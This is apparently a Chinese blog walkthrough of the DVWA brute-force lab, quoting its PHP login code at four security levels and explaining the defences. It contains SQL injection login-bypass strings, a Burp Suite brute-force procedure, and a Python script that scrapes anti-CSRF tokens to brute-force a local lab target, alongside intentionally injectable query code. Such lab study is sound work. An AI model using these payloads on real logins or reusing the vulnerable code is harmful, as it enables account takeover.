DVWA之Brute Force

ca5tle

2019-04-13 (Updated: 2020-04-27)

Web

DVWA, WEB

前言

Brute Force，即暴力（破解），是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一，如2014年轰动全国的12306“撞库”事件，实质就是暴力破解攻击。
![](DVWA之Brute Force/Force1.jpg)

Low

核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

isset函数在php中用来检测变量是否设置，该函数返回的是布尔类型的值，即true/false
可以看到，服务器只是验证了参数Login是否被设置，没有任何的防爆破机制，且对参数username、password没有做任何过滤，存在明显的sql注入漏洞。

漏洞利用

方法一：Burpsuite爆破

抓包
![](DVWA之Brute Force/Force1.jpg)
Send to Intruder
![](DVWA之Brute Force/Force2.jpg)
对password参数进行爆破
![](DVWA之Brute Force/Force4.jpg)
选中Payloads，载入字典，点击Start attack进行爆破
![](DVWA之Brute Force/Force3.jpg)可以看到password的响应包长度（length）“与众不同”，可推测password为正确密码，手工验证登陆成
SQL注入

username：admin’ or ‘1’=’1
password：(空)
![](DVWA之Brute Force/Force5.jpg)
username：admin’ #
password：(空)
![](DVWA之Brute Force/Force6.jpg)
Medium

核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相比Low级别的代码，Medium级别的代码主要增加了mysql_real_escape_string函数，这个函数会对字符串中的特殊符号（x00，n，r，，’，”，x1a）进行转义，基本上能够抵御sql注入攻击，说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK，能够构造编码绕过mysql_real_escape_string 对单引号的转义（因实验环境的MySQL版本较新，所以并未做相应验证）；同时，$pass做了MD5校验，杜绝了通过参数password进行sql注入的可能性。但是，依然没有加入有效的防爆破机制。

具体的mysql_real_escape_string函数绕过问题详见：
http://blog.csdn.net/hornedreaper1988/article/details/43520257

http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

漏洞利用

虽然sql注入不再有效，但依然可以使用Burpsuite进行爆破，与Low级别的爆破方法基本一样，这里就不赘述了。

High

核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High级别的代码加入了Token，可以抵御CSRF攻击，同时也增加了爆破的难度，通过抓包，可以看到，登录验证时提交了四个参数：username、password、Login以及user_token。
![](DWVA之Brute Force/Force7.jpg)

每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。
![](DWVA之Brute Force/Force8.jpg)
同时，High级别的代码中，使用了stripslashes（去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个）、 mysql_real_escape_string对参数username、password进行过滤、转义，进一步抵御sql注入。

漏洞利用

由于加入了Anti-CSRFtoken预防无脑爆破，这里就不推荐用Burpsuite了，还是简单用python写个脚本吧。
下面是我找的的一个脚本（python 2.7），用户名为admin，对password参数进行爆破并打印结果，仅供各位参考。

from bs4 import BeautifulSoup
import urllib2
header={        'Host': '192.168.153.130',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
	req = urllib2.Request(url=requrl,headers=header)
	response = urllib2.urlopen(req)
	print response.getcode(),
	the_page = response.read()
	print len(the_page)
	soup = BeautifulSoup(the_page,"html.parser")
	user_token = soup.form.input.input.input.input["value"] #get the user_token
	return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
	requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10):
		break

get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值，为了方便展示，这里设置只尝试10次。

Impossible

核心代码

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到Impossible级别的代码加入了可靠的防爆破机制，当检测到频繁的错误登录后，系统会将账户锁定，爆破也就无法继续。
![](DWVA之Brute Force/Force9.jpg)
同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

关于PDO：

http://www.cnblogs.com/pinocchioatbeijing/archive/2012/03/20/2407869.html

前言

Low

核心代码

漏洞利用

方法一：Burpsuite爆破

SQL注入

Medium

核心代码

漏洞利用

High

核心代码

漏洞利用

Impossible

核心代码

关于PDO：